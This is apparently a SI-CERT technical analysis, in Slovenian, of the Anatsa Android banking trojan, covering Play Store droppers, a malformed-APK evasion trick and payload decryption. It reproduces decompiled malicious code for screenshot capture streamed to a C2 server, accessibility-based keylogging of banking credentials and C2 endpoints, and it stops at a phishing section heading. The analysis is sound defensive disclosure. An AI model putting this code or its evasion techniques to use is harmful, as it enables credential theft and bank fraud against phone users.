Povzetek
Na SI-CERT smo v analizo prejeli dve aplikaciji za mobilne naprave sistema Android, za kateri je obstajal sum, da sta bili vzrok finančnega oškodovanja večih slovenskih državljanov. V analizi smo ugotovili, da obe vzorca sodita v skupino škodljive programske opreme iz družine Anatsa (tudi TeaBot, Toddler in ReBot). Ugotovili smo, da so bili prenašalci škodljivih aplikacij na voljo za prenos s tržnice Google Play pod pretvezo bralnikov PDF dokumentov in čistilcev telefona. Aplikacije so bile na voljo za prenos le v ciljanih državah, med katerimi je tudi Slovenija. Po poročanju Bleeping Computer je škodljive aplikacije preneselo približno 150 tisoč uporabnikov.
Bančni trojanec Anatsa
Glavni cilj škodljive aplikacije iz družine Anatsa je pridobitev uporabniških podatkov, med katere sodijo tudi podatki za prijavo v bančne aplikacije in zagotavljanje oddaljenega dostopa napadalcu. Aplikacija napadalcu posreduje vse potrebne podatke za oddaljen dostop do žrtvine naprave, prijavo v spletno banko in izvedbo finančnih transakcij. Po podatkih, ki smo jih prejeli, napadalec finančno oškodovanje izvede po več dneh od inicialne okužbe, ukraden denar pa nakaže na bančni račun v tujini, od koder v nadaljevanju potuje na menjalnice s kriptovalutami.
Tehnični zapis se navezuje na varnostno obvestilo o okužbah mobilnih naprav: https://www.cert.si/si-cert-2024-03/.
Postopek okužbe
Okužba je tristopenjska. Prvo stopnjo okužbe predstavlja prenos ene izmed zlonamernih aplikacij iz Google Play trgovine.
Po poročanju Bleeping Computer je bilo na tržnici Google Play na voljo 5 škodljivih aplikacij. Imena vseh petih aplikacij s pripadajočimi imeni paketov so:
Phone Cleaner – File Explorer (com.volabs.androidcleaner)
PDF Viewer – File Explorer (com.xolab.fileexplorer)
PDF Reader – Viewer & Editor (com.jumbodub.fileexplorerpdfviewer)
Phone Cleaner: File Explorer (com.appiclouds.phonecleaner)
PDF Reader: File Manager (com.tragisoap.fileandpdfmanager)
Aplikacije iz zgornjega seznama predstavljajo prvo stopnjo okužbe in delujejo kot prenašalci DEX tovora. Slednji služi kot dodaten prenašalec in deluje v drugi stopnji okužbe.
Ko drugi prenašalec prenese in namesti dodatno, ločeno aplikacijo, govorimo o zadnji, tretji stopnji okužbe.
V zadnji stopnji nova aplikacija razpakira svoj tovor in ga naloži v spomin. Razpakiran in odšifriran tovor vsebuje škodljivo kodo iz družine Anatsa.
Aplikaciji, ki smo ju prejeli v analizo, sodita v tretjo, zadnjo fazo okužbe.
Okužbe z Anatso leta 2022 so bile 2-stopenjske, saj so dostavljalci drugo aplikacijo prenesli neposredno iz Github repozitorija. Tokrat so napadalci v potek okužbe vključili dodatno stopnjo s prenosom DEX kode prenašalca, ki se v okuženo aplikacijo iz Google Play prenese med njenim izvajanjem. Na ta način aplikacija dodatno prikrije svojo škodljivost in se izogne zaznavam varnostnih mehanizmov.
Škodljive aplikacije iz prve stopnje okužbe, ki so bile na voljo v trgovini Google Play, za svoje delovanje zahtevajo varnostno kritični dovoljenji REQUEST_INSTALL_PACKAGE in WRITE_EXTERNAL_STORAGE. Ti dovoljenji aplikaciji omogočata prenos dodatnega DEX tovora druge stopnje in konfiguracijskih nizov, potrebnih za njegovo namestitev. Med slednje sodijo varnostno kritični nizi kot so “dalvik.system.InMemoryDexClassLoader”, “getClassLoader” in “loadClass”, ki sodelujejo pri dinamičnem nalaganju razredov, pri čemer aplikacija dinamično naloži razrede neposredno v pomnilnik, namesto da bi jih predhodno shranila na disk. Tak postopek nalaganja razredov še dodatno oteži detekcijo varnostnih mehanizmov.
Med prenešenimi nizi se nahajajo tudi imena reflektivnih metod, ki v kombinaciji s šifriranjem nizov sodelujejo pri prikrivanju API klicev operacijskega sistema, s čimer dostavljalec dodatno prikriva svoje škodljivo delovanje. V to skupino sodita prenešena niza “forname” in “getMethod”.
Odpakiranje aplikacije
Uporaba neveljavnega zip formata
Aplikacija uporablja številne tehnike, ki otežujejo njeno analizo. Ena izmed tehnik je uporaba neveljavnega formata aplikacijske datoteke APK, zato orodji, kot sta JADX in Apktool, vrneta napako. Napako vrnejo celo orodja za razširjanje datotek, izpis pa sporoča napako v glavi aplikacijske datoteke. Njen vzrok se skriva v napačni vrednosti kontrolne vsote CRC32 datoteke AndroidManifest.xml znotraj APK strukture. Prav tako je v APK datoteki navedena nepodprta metoda uporabljenega kompresijskega algoritma in zapisana napačna vrednost stisnjene velikosti datoteke AndroidManifest.xml.
Aplikacijo z okvarjeno strukturo lahko namestimo na napravo ali emulator z operacijskim sistemom Android verzije 9 in več, kar predstavlja približno 91% vseh Android naprav v uporabi. Na starejših verzijah operacijskega sistema aplikacije ni možno namestiti.
Analizo okvarjene APK datoteke podpira orodje JEB Android. JEB pravilno prikaže vsebino datoteke AndroidManifest.xml, razstavljeno smali kodo aplikacije in pripadajočo Java psevdokodo.
V direktorijski strukturi aplikacije manjkajo številni razredi, kar kaže na to, da je aplikacija pakirana. Aplikacija naloži manjkajoče razrede dinamično med svojim izvajanjem, s čimer poskuša zaobiti detekcijske mehanizme.
Datoteka AndroidManifest.xml definira razred Application, ki ga operacijski sistem inicializira in izvede ob zagonu aplikacije, preden ustvari katerekoli druge osnovne komponente aplikacije. AndroidManifest v atributu android:name specificira podrazred znotraj razreda Application z vrednostjo “dno.qetreii.fovipuimp.dnqyufe”. Ta podrazred prepiše metodo attachBaseContext, ki predstavlja vstopno točko aplikacije in nosi klic metode, ki razpakira škodljiv tovor s kodo iz družine Anatsa.
<application
android:allowBackup="true"
android:icon="@zxcvbn6/zxcvbn"
android:label="Android System"
android:name="dno.qetreii.fovipuimp.dnqyufe"
android:networkSecurityConfig="@zxcvbn9/ResId_0x7f090001"
android:roundIcon="@zxcvbn3/ResId_0x7f030016"
android:supportsRtl="true"
android:tag=""
android:usesCleartextTraffic="true">
Koda, ki razpakira tovor, se nahaja znotraj metode mw_payloadUnpackingLogic(). Metoda je za namene preglednejše analize preimenovana.
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
new mw_AccessAssets(base).mw_writeAssets();
new sflrirpil(base).mw_payloadUnpackingLogic();
mw_DynamicApplicationDelegationManager.mw_delegateAndAttachApplication(this, "", "dno.qetreii.fovipuimp.dnqyufe");
}
Razpakiranje tovora z lastnim programom
Razpakiranje zlonamernega tovora s kodo iz družine Anatsa lahko izvedemo statično ali dinamično. Navkljub šifriranju, aplikacija na določeni točki izvajanja mora dostopati do dešifrirane DEX datoteke z razredi in metodami zlonamernega tovora družine Anatsa. To datoteko lahko dinamično prestrežemo z uporabo orodja Frida. Analizo želimo opraviti celostno, zato se odločimo za statično analizo, dinamično analizo s prestrezanjem pa izvedemo za preverbo rezultata odšifriranja.
Odpakiranje tovora lahko v prvem približku poenostavljeno predstavimo s 3 koraki: zlib razširanje, ARX odšifriranje in dodatno zlib razširjanje. ARX je kriptografski algoritem z operacijami seštevanja, rotacij in funkcijami XOR (addition (A), rotation (R) in XOR (X)). Analiza šifrirne logike je pokazala. da aplikacija za prikrivanje svojega zlonmernega tovora uporablja obfuskator ApkProtector.
Za implementacijo lastnega programa, ki bo odšifriral tovor, najprej poglejmo poenostavljen potek odšifrirnega postopka, ki ga sestavljajo tri metode: mw_keyExpansionARX, mw_decryptionLogic in mw_keyUpdateARX (opomba: metode smo za lažje razumevanje preimenovali).
Glavna odšifrirna logika razreda se nahaja v metodi mw_decryptionLogic, ki prebere šifriran tovor, odšifrira njegovo vsebino in dobljen rezultat zapiše v novo datoteko. Pri postopku odšifriranja uporablja množico operacij ARX algoritma, ki ga sestavljajo operacije seštevanja in rotacije elementov tabel ter šifriranja s funkcijo XOR.
private static void mw_decryptionLogic(InputStream inputStream, OutputStream outputStream) throws Exception {
// razširjanje šifrirnega ključa
int[] mw_key = mw_keyExpansionARX();
byte[] buffer = new byte[0x2000];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) > 0) {
// Posodabljanje ključa na 8 bajtov
if (bytesRead % 8 == 0) {
mw_keyUpdateARX(mw_key);
}
// XOR šifriranje
for (int i = 0; i < bytesRead; ++i) {
buffer[i] = (byte) (buffer[i] ^ (mw_key[i % 8 / 4] >> (i % 4) * 8));
}
// Zapis odšifriranega tovora
outputStream.write(buffer, 0, bytesRead);
}
}
Aplikacija med svojim izvajanjem razširi in dinamično spreminja šifrirni ključ, za kar skrbi metoda mw_keyExpansionARX(). Njena koda razširi originalen šifrirni ključ na dolžino 27 (27 * 4B), kar predstavlja 108 bajtov.
private static int[] mw_keyExpansionARX(int[] mw_originalKey) {
int[] mw_newKey = new int[27];
int i = mw_originalKey[0];
mw_newKey[0] = i;
int[] arr_v2 = {mw_originalKey[1], mw_originalKey[2], mw_originalKey[3]};
for(int i2 = 0; i2 < 26; ++i2) {
arr_v2[i2 % 3] = (arr_v2[i2 % 3] >>> 8 | arr_v2[i2 % 3] << 24) + i ^ i2; // // rotacija v desno za 8b in seštevanje z i XOR i2
i = (i << 3 | i >>> 29) ^ arr_v2[i2 % 3];
mw_newKey[i2 + 1] = i;
}
return mw_newKey;
}
Metoda mw_keyUpdateARX služi dinamičnemu posodabljanju šifrirnega ključa med odšifriranjem tovora. Kliče se na vsakih 8 bajtov odšifriranja. Metoda spreminja šifrirni ključ, s čimer se aplikacija dodatno zaščiti pred detekcijskimi mehanizmi. Skrajšan potek metode:
private static void mw_keyUpdateARX(int[] iArr, int[] iArr2) {
int i = iArr2[0];
int i2 = (iArr2[1] >>> 8 | iArr2[1] << 24) + i ^ iArr[0];
// bitna rotacija in XOR
int i = (i << 3 | i >>> 29) ^ i2;
// Ponavljanje podobnih operacij
// ...
iArr2[0] = (i << 3 | i >>> 29) ^ i2;
iArr2[1] = i2;
}
Odšifriranje tovora s kodo iz družine Anatsa izvedemo tako, da vse metode, ki sodelujejo pri odšifriranju, implementiramo v samostojnem Java programu. Izvedemo ga nad šifrirano datoteko škodljivega tovora, ki se nahaja znotraj APK strukture v mapi /assets.
Za preverbo rezultata uporabimo prestrezanje klica metode delete iz razreda java.io.File, ki aplikaciji omogoča izbris datoteke. Aplikacija šifriran škodljivi tovor odšifrira po zgoraj opisanem postopku, ga naloži v spomin in odšifriran tovor izbriše. Skripta preventdelete.js aplikaciji onemogoči izbris, dobljeno datoteko pa uporabimo pri preverbi odšifriranega tovora po zgornjem postopku. Na ta način se tudi prepričamo, da je to edini odšifriran tovor.
Pridobljena odšifrirana datoteka je formata DEX in jo lahko analiziramo z orodjem JADX. Vključuje škodljivo kodo iz družine Anatsa. V razstavljeni kodi vidimo podobne tehnike prikrivanja kot v prvotni kodi (šifriranje nizov in imen nekaterih razredov metod ter spremenljivk), vendar je tu implementacija nekoliko drugačna.
Vsak razred, ki uporablja šifriranje nizov, vsebuje spremenljivko z imenom $ in metodo z imenom $ . V spremenljivki $ se nahajajo vrednosti nizov šifrirane po XOR. Metoda $ skrbi za odšifriranje in vrne pripadajoč berljiv niz.
private static String $(int i, int i2, int i3) {
char[] cArr = new char[i2 - i];
for (int i4 = 0; i4 < i2 - i; i4++) {
cArr[i4] = (char) ($[i + i4] ^ i3);
}
return new String(cArr);
}
Gre za zelo preprosto XOR šifriranje, kjer parametra i in i2 določita razpon nekega šifriranega niza, i3 pa vsebuje ključ. V tem primeru vsi razredi vsebujejo identično metodo za odšifriranje, klici te metode pa uporabljajo različne ključe. Spremenljivka, ki vsebuje šifrirane podatke nizov, je odvisna od razreda, v katerem je bila metoda za odšifriranje poklicana, saj vsak razred vsebuje svojo privatno spremenljivko s šifriranimi nizi.
Deobfuskacijo oz. odšifriranja nizev se lahko lotimo po podobnem postopku kot pri odšifriranju DEX datoteke. V samostojen Java program implementiramo enako metodo $ z enakimi klici te metode in pripadajočimi spremenljivkami s šifriranimi nizi. Ker so spremenljivke in klici odvisni od razreda, v katerem se nahajajo, jih moramo nekako ločiti. To storimo z orodjem za iskanje, ki omogoča uporabo Regex izrazov. Poiščemo naslednje vrednosti:
- Klice: \$\(.+?\)
- Spremenljivke: private static short\[\] \$ = \{(.|\n)+?\};
S tem dobimo vse parametre in podatke potrebne za odšifriranje. Poleg tega dobimo tudi pot do datoteke, kjer je bil regex vzorec najden, ki vsebuje glavni javni razred. Primer regex najdbe:
./com/njuxateyr/dexlosxst/g.java: private static short[] $ = {483, 481, 502, 491, 500, 491, 502, 507};
Ime razreda, ki vsebuje zgornjo spremenljivko, je g in se nahaja v paketu com.njuxateyr.dexlosxst . Celotno ime razreda je torej com.njuxateyr.dexlosxst.g . V našem Java programu lahko potem dodamo novo spremenljivko:
private static short[] com_njuxateyr_dexlosxst_g_$ = {483, 481, 502, 491, 500, 491, 502, 507};
In spremenimo metodo $ tako, da sprejme $ v parametru, npr:
private static String $(short[] $, int i, int i2, int i3) { … }
Težava tega postopka je, da lahko ena datoteka vsebuje več privatnih razredov in v takih primerih ne deluje. Ker je takih primerov zelo malo, jih lahko ročno popravimo. Drug problem je, da Java omejuje velikost zbirne koda (ang. bytecode) enega razreda. To lahko zelo enostavno popravimo tako, da vsako spremenljivko s šifriranimi podatki nizov postavimo v svoj razred in jo določimo kot javno.
Spodnja slika prikazuje graf klicev metod (ang. call graph) znotraj DEX tovora s kodo iz družine Anatsa. Vsako vozlišče predstavlja eno izmed metod v tovoru, povezave v grafu pa predstavljajo medsebojne klice metod. Rdeče vozlišče na skrajni desni predstavlja eno izmed implementacij dešifrirne metode $. Ta metoda ima samo 2 povezavi, od tega je samo ena povezava vhodna, iz česar vidimo, da se dešifrirna metoda klice natančno enkrat. Enako velja za vse ostale izvedenke dešifrirne metode $.
Funkcionalnosti virusa Anatsa
Obe aplikaciji za svoje delovanje zahtevata enaka dovoljenja. Spodaj so omenjena nekatera za analizo relevantna dovoljenja, ki jih izrabljata obe škodljivi aplikaciji. Že samo iz seznama dovoljenj lahko sklepamo o določenih funkcionalnostih aplikacije:
FOREGROUND_SERVICE → aplikacija lahko teče v ozadju brez vednosti uporabnika READ_PHONE_STATE → pridobivanje informacij o napravi, analiza razkrije, da se pridobljeni podatki o telefonu posredujejo na C2 SEND_SMS → aplikacija zahteva pravice za pošiljanje SMS sporočil RECEIVE_SMS → zlonamerna aplikacija prestreza prejeta SMS sporočila za prijavo v spletno banko READ_SMS → branje SMS (2FA koda za prijavo) USE_BIOMETRIC → aplikacija zahteva prijavo z biometričnimi podatki za dostopanje do drugih aplikacij WRITE_SMS RECEIVE_MMS → branje MMS WAKE_LOCK USE_FULL_SCREEN_INTENT → izkorišča spletni prikaz za phishing napad SYSTEM_ALERT_WINDOW → uporabnika poziva k različnim akcijam REQUEST_DELETE_PACKAGES → aplikacija se tako lahko po napadu odstrani QUERY_ALL_PACKAGES → aplikacija pridobi seznam vseh nameščenih imen paketov, v analizi se je izkazalo, da se ta seznam posreduje na C2 (za nadaljnji overlay phishing napad) REQUEST_IGNORE_BATTERY_OPTIMIZATIONS → preprečuje ustavitev energijsko potratne aplikacije RECEIVE_BOOT_COMPLETED → aplikacije spremlja broadcast sporočilo operacijskega sistema ob vklopu in se samodejno zažene ob vklopu REQUEST_PASSWORD_COMPLEXITY → aplikacija zahteva gesla, analiza pokaže, da zahteva menjavo gesla ali vzorca zaklenjenega zaslona SEND_RESPOND_VIA_MESSAGE
Ključna ugotovitev analize je, da aplikacija za večino svojih zlonamernih funkcionalnosti izkorišča pravice dostopnosti. Ko žrtev aplikaciji omogoči pravice dostopnosti, aplikacija lahko zajema posnetke zaslona, beleži uporabniške klike in vnose, prikazuje spletne obrazce za krajo gesel, odpira dodatne aplikacije s kodami ali za oddaljen dostop, preprečuje svojo ustavitev, zaklepa okuženo napravo ali pa preprečuje njen izklop.
Spodnji video prikazuje nekaj funkcionalnosti virusa Anatsa. Levo okno na posnetku prikazuje programsko kodo, s katero smo simulirali delovanje C2 nadzornega strežnika. Tehnični zapis pa v nadaljevanju vključuje podrobnejšo analizo naštetih funkcionalnosti.
Periodično zajemanje posnetkov zaslona
Ena izmed ključnih zmožnosti škodljive aplikacije je periodično zajemanje posnetkov zaslona na vsakih 6 sekund. Vse zajete zaslonske posnetke aplikacija posreduje na nadzorni strežnik preko vzpostavljene socket povezave.
Posnetki zaslona so v kombinaciji z beleženjem uporabniških vnosov za napadalca ključnega pomena pri pridobivanju varnostno kritičnih podatkov za dostop in upravljanje okužene naprave in storitev do katerih naprava dostopa. Med slednje sodijo za napadalca zelo zanimivi podatki kot so PIN (oziroma geslo ali vzorec) zaklenjenega zaslona in prijavni podatki za mobilno banko. Poleg pridobivanja omenjenih varnostnih podatkov pa posnetki zaslona napadalcu omogočajo spremljanje vzorcev uporabe naprave. Iz teh ugotovi, kdaj je uporabnik običajno aktiven in kdaj naprava ni v uporabi. Ugotavljanje časovnega okna neaktivnosti uporabnika je namreč za napadalca ključnega pomena. Vsem obravnavanim primerom zlorabe je skupno, da je napadalec oddaljen dostop in nakazilo denarja opravil v urah, ko so žrtve spale.
Za zajemanje posnetkov zaslona aplikacija izkorišča storitve dostopnosti. Namera za zagon pripadajoče aktivnosti se s periodo 6 sekund proži v metodi onAccessibilityEvent.
// koda iz metode: Lcom/josiplbcj/ldoyovhys/UIDNwaidobaWIODb;->onAccessibilityEvent(Landroid/view/accessibility/AccessibilityEvent;)V
// ... koda delno izpuščena za namen preglednejše analize
if((mw_ScreenshotClassE.mw_atomicBooleanL.get()) && !mw_ScreenshotClassE.mw_atomicBooleanP.get() && v - this.mw_intD > 6000L) { // Posnetki zaslona se zajemajo periodično na 6 sekund
Intent intent1 = new Intent(this, mw_ScreenshotClassE.class); // aplikacija preko novega intenta sproži aktivnost za zajemanje posnetka zaslona. Razred je preimenovan z namenom preglednejše analize
intent1.addFlags(0x10000000);
this.startActivity(intent1); //zagon aktivnosti mw_ScreenshotClassE
// ... koda izpuščena
Aplikacija v ločeni niti procesa ustvari virtualni zaslon (ang. VirtualDisplay), ki služi zajemanju zaslonskih posnetkov. V prvem delu pridobi metrike zaslona, kot so gostota slikovnih točk, širina in višina zaslona. Metoda v nadaljevanju ustvari nov objekt ImageReader, ki omogoča neposreden dostop do posnetka zaslona v grafičnem spominu. Metoda setOnImageAvailableListener() nastavi metodo, ki posluša in se odziva na novo zajete posnetke zaslona in zagotavlja glavni niti procesa dostop do posnetkov zaslona.
Posnetki se v nadaljevanju pošiljajo na nadzorni IP naslov preko vzpostavljene socket povezave.
//virtualni zaslon
private void mw_createVirtualDisplayForScreenshots() {
//pridobivanje metrik zaslona
DisplayMetrics displayMetrics0 = this.getResources().getDisplayMetrics();
this.b = displayMetrics0.densityDpi;
this.c = displayMetrics0.widthPixels;
this.d = displayMetrics0.heightPixels;
//objekt ImageReader in nastavitev listenerja
ImageReader imageReader0 = ImageReader.newInstance(displayMetrics0.widthPixels, displayMetrics0.heightPixels, 1, 2);
e.i = imageReader0;
e.h = e.f.createVirtualDisplay("DEMO", this.c, this.d, this.b, 16, imageReader0.getSurface(), null, e.mw_handler1);
e.i.setOnImageAvailableListener(new c(this, null), e.mw_handler1);
e.p.set(true);
}
Razred mw_ScreenshotClassE je zelo obsežen in za razumevanje delovanja aplikacije nima velike dodane vrednosti. Ena izmed njegovih najpomembnejših metod je metoda onImageAvailable, ki se kliče ob zajemanju novega posnetka zaslona in je zadolžena za obdelavo in njegov zapis.
//metoda onImageAvailable iz razreda Lcom/josiplbcj/ldoyovhys/e
public void onImageAvailable(ImageReader imageReader0) { // ena izmed metod, ki sodeluje pri pridobivanju posnetkov zaslona - onImageAvailable, ki obdela sliko
Image image0;
Bitmap bitmap0 = null;
try {
image0 = e.i.acquireLatestImage(); // pridobitev zadnje slike iz ImageReader
}
catch(Exception exception0) { // izjeme
image0 = null;
goto label_27;
}
catch(Throwable throwable0) {
image0 = null;
goto label_34;
}
try {
if(!e.q.get() && image0 != null) { // blok kode se izvede, če aplikacija trenutno še ne procesira prejšnjega posnetka zaslona (e.q.get() ) in če je nova slika not-null
e.this.e = image0; //shrani sliko v razredu e
Image.Plane[] arr_image$Plane = image0.getPlanes(); // pridobi 3 ločene matrike po plasteh YUV
ByteBuffer byteBuffer0 = arr_image$Plane[0].getBuffer();
int v = arr_image$Plane[0].getPixelStride();
int v1 = arr_image$Plane[0].getRowStride();
bitmap0 = Bitmap.createBitmap(e.this.c + (v1 - e.this.c * v) / v, e.this.d, Bitmap.Config.ARGB_8888); // bitmap iz bufferja v katerem je shranjena slika
bitmap0.copyPixelsFromBuffer(byteBuffer0);
Bitmap bitmap1 = Bitmap.createScaledBitmap(bitmap0, 0xFA, 550, true); // prilagodi velikost bitmap na (0xFA x 550)
ByteArrayOutputStream byteArrayOutputStream0 = new ByteArrayOutputStream();
e.r = byteArrayOutputStream0;
byteArrayOutputStream0.reset();
bitmap1.compress(Bitmap.CompressFormat.JPEG, 30, e.r); // kompresija bitmap v JPEG format
e.f(); // števec, označuje zaporedje screenshotov
e.q.set(true); // nastavi zastavico, da je posnetek zaslona zajet
// (... koda delno izpuščena zaradi boljše preglednosti, sledi veliko kode za obravnavanje izjem in logiranje o novih posnetkih zaslona)
Ko aplikacija s C2 strežnika prejme ukaz “start_client” z navedenim IP naslovom in vrati, začne pošiljati periodično zajete in obdelane posnetke zaslona na zahtevan strežnik.
//Vzpostavitev povezave s strežnikom za pošiljanje zajetih zaslonskih slik
public static void mw_startSocketFromRetrievedNetworkingParameters(niNOIAdiowanOI niNOIAdiowanOI0) {
int v;
d d0 = d.mw_staticE;
f f0 = d0.c.b("start_client"); // ukaz s strežnika, ki sproži nadaljnjo kodo
if(f0 != null) {
String s = f0.a().optString("ip"); // pridobivanje IP naslova za pošiljanje slik iz zahteve s C2 strežnika
String s1 = f0.a().optString("port"); // pridobivanje vrat
JSONObject jSONObject0 = new JSONObject(); // objekt JSONObject za shranjevanje rezultata
try {
v = Short.parseShort(s1);
goto label_12;
}
catch(Throwable throwable0) {
try {
jSONObject0.put("result", "Invalid port " + throwable0.getLocalizedMessage());
d0.c.e("start_client", jSONObject0);
return;
label_12:
if(s.isEmpty()) {
jSONObject0.put("result", "Invalid ip " + s);
d0.c.e("start_client", jSONObject0);
return;
}
if(v == 0) {
jSONObject0.put("result", "Invalid port " + 0);
d0.c.e("start_client", jSONObject0);
return;
}
// logiranje v objekt JSONObject
jSONObject0.put("result", "Launching client... check sys logs");
d0.c.e("start_client", jSONObject0);
//vzpostavitev socket povezave s strežnikom
niNOIAdiowanOI0.mw_startSocket(s, v);
return;
}
(... koda izpuščena)
Beleženje uporabniških pritiskov in vnosov
Beleženje uporabniških pritiskov in vnosov (ang. keylogging) je poleg že omenjenega zajemanja zaslonskih posnetkov druga izmed ključnih zmožnosti škodljive aplikacije. Celoten nabor funckionalnosti beleženja uporabniških vnosov temelji na uporabi storitev dostopnosti. Ključni varnostni podatki, ki jih napadalec prestreže z beleženjem vnosov, so geslo (oziroma PIN ali vzorec) za odklepanje naprave ter uporabniško ime in geslo za prijavo v aplikacije mobilnih bank.
Napadalec za krajo gesla mobilne banke uporablja kombinacijo beleženja vnosov, tako znotraj legitimnih aplikacij, kot tudi z beleženjem vnosov na lažnih spletnih pogledih (ang. WebView) s prikazovanjem lažnih obrazcev za prijavo čez aplikacije spletnih bank in kriptodenarnic.
Aplikacija beleži klike uporabnika (TYPE_VIEW_CLICKED), njegove besedilne vnose (TYPE_VIEW_TEXT_CHANGED) in izbiro polja za vnos (TYPE_VIEW_TEXT_SELECTION_CHANGED).
Spodnja metoda ustvari zapis uporabniških vnosov s pripadajočimi imeni paktov (aplikacij). Metoda prestreže uporabnikove klike in vnose znotraj ciljanih aplikacij in tudi vnose na lažnih spletnih mestih, ki jih škodljiva aplikacija za namene kraje gesel prikazuje čez legitimne aplikacije.
//Metoda, ki ustvarja zapis z uporabniškimi kliki in vnosi
public static void mw_generateKeylog(AccessibilityService accessibilityService0, AccessibilityEvent accessibilityEvent0) {
// ... koda zaradi preglednosti delno izpuščena
//vrednost 1 predstavlja dogodek TYPE_VIEW_CLICKED, ki se sproži, ko uporabnik klikne enega od elementov na uporabniškem vmesniku
if(accessibilityEvent0.getEventType() == 1) {
StringBuilder stringBuilder0 = new StringBuilder();
stringBuilder0.append("CLICKED: ");
stringBuilder0.append(accessibilityEvent0.getPackageName());
stringBuilder0.append(" ");
stringBuilder0.append(accessibilityEvent0.getText());
stringBuilder0.append(" ");
AccessibilityNodeInfo accessibilityNodeInfo1 = mw_AccessibilityServicesHandleEvents.i;
if(accessibilityNodeInfo1 != null) {
accessibilityNodeInfo1.getViewIdResourceName();
}
stringBuilder0.append("");
f.mw_manageLogEntriesWithTimestamps2(stringBuilder0.toString());
}
//vrednost 16 predstavlja dogodek TYPE_VIEW_TEXT_CHANGED, ki se sproži, ko uporabnik vnese besedilo v vnosno polje EditText
if(accessibilityEvent0.getEventType() == 16) {
f.mw_manageLogEntriesWithTimestamps2(("ETEXT: " + accessibilityEvent0.getPackageName() + " " + accessibilityEvent0.getText()));
}
//vrednost 0x2000 predstavlja dogodek TYPE_VIEW_TEXT_SELECTION_CHANGED, ki se sproži, ko uporabnik spremeni položaj kazalca v vnosnem polju EditTextTYPE_VIEW_TEXT_SELECTION_CHANGED
if(accessibilityEvent0.getEventType() == 0x2000) {
f.mw_manageLogEntriesWithTimestamps2(("ETEXT_SEL: " + accessibilityEvent0.getPackageName() + " " + accessibilityEvent0.getText()));
}
}
if(accessibilityNodeInfo0 != null) {
if(b.d) {
AccessibilityNodeInfo accessibilityNodeInfo2 = mw_AccessibilityServicesHandleEvents.mw_accessibilityHandler.b();
v = accessibilityNodeInfo2 == null || accessibilityEvent0.getPackageName() == null ? 1 : accessibilityNodeInfo2.getPackageName().equals("") ^ 1;
}
else {
v = 1;
}
CharSequence charSequence0 = accessibilityNodeInfo0.getPackageName();
if(charSequence0 != null && !charSequence0.toString().equals("") && v != 0) {
if(b.a != null && b.a.b().size() > 0) {
b.b.add(b.a);
b.a = null;
}
boolean z = d0.a.g(accessibilityService0, "kloger:" + charSequence0);
b.d = z;
if(z) {
b.a = new a(charSequence0.toString());
}
b.c = charSequence0.toString();
}
}
if(b.d) {
//vrednost 16 predstavlja dogodek TYPE_VIEW_TEXT_CHANGED, ki se sproži, ko uporabnik vnese besedilo v vnosno polje EditText
if(accessibilityEvent0.getEventType() == 16) {
a a0 = b.a;
if(a0 != null) {
a0.a(accessibilityService0, accessibilityEvent0);
}
if(!b.e) {
StringBuilder stringBuilder1 = new StringBuilder();
stringBuilder1.append("!IMPORTANT ETEXT: ");
stringBuilder1.append(accessibilityEvent0.getPackageName());
stringBuilder1.append(" ");
stringBuilder1.append(accessibilityEvent0.getText());
stringBuilder1.append(" ");
AccessibilityNodeInfo accessibilityNodeInfo3 = mw_AccessibilityServicesHandleEvents.i;
if(accessibilityNodeInfo3 != null) {
accessibilityNodeInfo3.getViewIdResourceName();
}
stringBuilder1.append("");
f.mw_manageLogEntriesWithTimestamps2(stringBuilder1.toString());
}
}
if(accessibilityEvent0.getEventType() == 1 && !b.e) {
StringBuilder stringBuilder2 = new StringBuilder();
stringBuilder2.append("!IMPORTANT CLICKED: ");
stringBuilder2.append(accessibilityEvent0.getPackageName());
stringBuilder2.append(" ");
stringBuilder2.append(accessibilityEvent0.getText());
stringBuilder2.append(" ");
AccessibilityNodeInfo accessibilityNodeInfo4 = mw_AccessibilityServicesHandleEvents.i;
if(accessibilityNodeInfo4 != null) {
accessibilityNodeInfo4.getViewIdResourceName();
}
stringBuilder2.append("");
f.mw_manageLogEntriesWithTimestamps(stringBuilder2.toString(), false);
}
if(accessibilityEvent0.getEventType() == 0x2000 && !b.e) {
StringBuilder stringBuilder3 = new StringBuilder();
stringBuilder3.append("!IMPORTANT ETEXT_SEL: ");
stringBuilder3.append(accessibilityEvent0.getPackageName());
stringBuilder3.append(" ");
stringBuilder3.append(accessibilityEvent0.getText());
stringBuilder3.append(" ");
AccessibilityNodeInfo accessibilityNodeInfo5 = mw_AccessibilityServicesHandleEvents.i;
if(accessibilityNodeInfo5 != null) {
s = accessibilityNodeInfo5.getViewIdResourceName();
}
stringBuilder3.append(s);
f.mw_manageLogEntriesWithTimestamps2(stringBuilder3.toString());
}
}
}
Vsi zajeti podatki se zapisujejo v datoteko deljenih nastavitev, od koder se pošiljajo na kontrolni strežnik. Pošiljajo se v HTTP zahtevi na mesto /botupdate, njena vsebina pa je šifrirana. Primer poslane zahteve botupdate na lasten kontrolni strežnik zajete v orodju Wireshark:
Podatki so šifrirani s funkcijo XOR s ključem z decimalno vrednostjo 66. Vsebino lahko dešifriramo v orodju CyberChef:
Škodljiva aplikacija s privzetimi vrednostmi beleži uporabnikove vnose le znotraj izbranih aplikacij, ki so del seznama s kontrolnega strežnika. Seznam ciljanih paketov (aplikacij) aplikacija prenese s kontrolnega strežnika na naslovu [C2_IP:PORT]/api/getkeyloggers. Ker je glavni cilj napadalcev kraja finančnih sredstev, seznam vključuje pretežno bančne aplikacije.
Ukaz “extensive_logging”, ki ga okužena naprava prejme s kontrolnega strežnika pa v aplikaciji sproži beleženje uporabniških vnosov po vseh aplikacijah in ne samo znotraj targetiranih, kar pa porablja več sistemskih virov, hitreje prazni baterijo naprave in ustvarja več internetnega prometa.
Poleg neposrednega beleženja vnosov pa škodljiva aplikacija čez druge aplikacije prikazuje spletne poglede (ang. WebView), ki služijo kraji prijavnih podatkov. HTML kodo lažne spletne strani za krajo podatkov aplikacija naloži s kontrolnega strežnika na naslovu /getbotinjects.
Prikazovanje lažnih prijavnih strani (ang. phishing WebView):
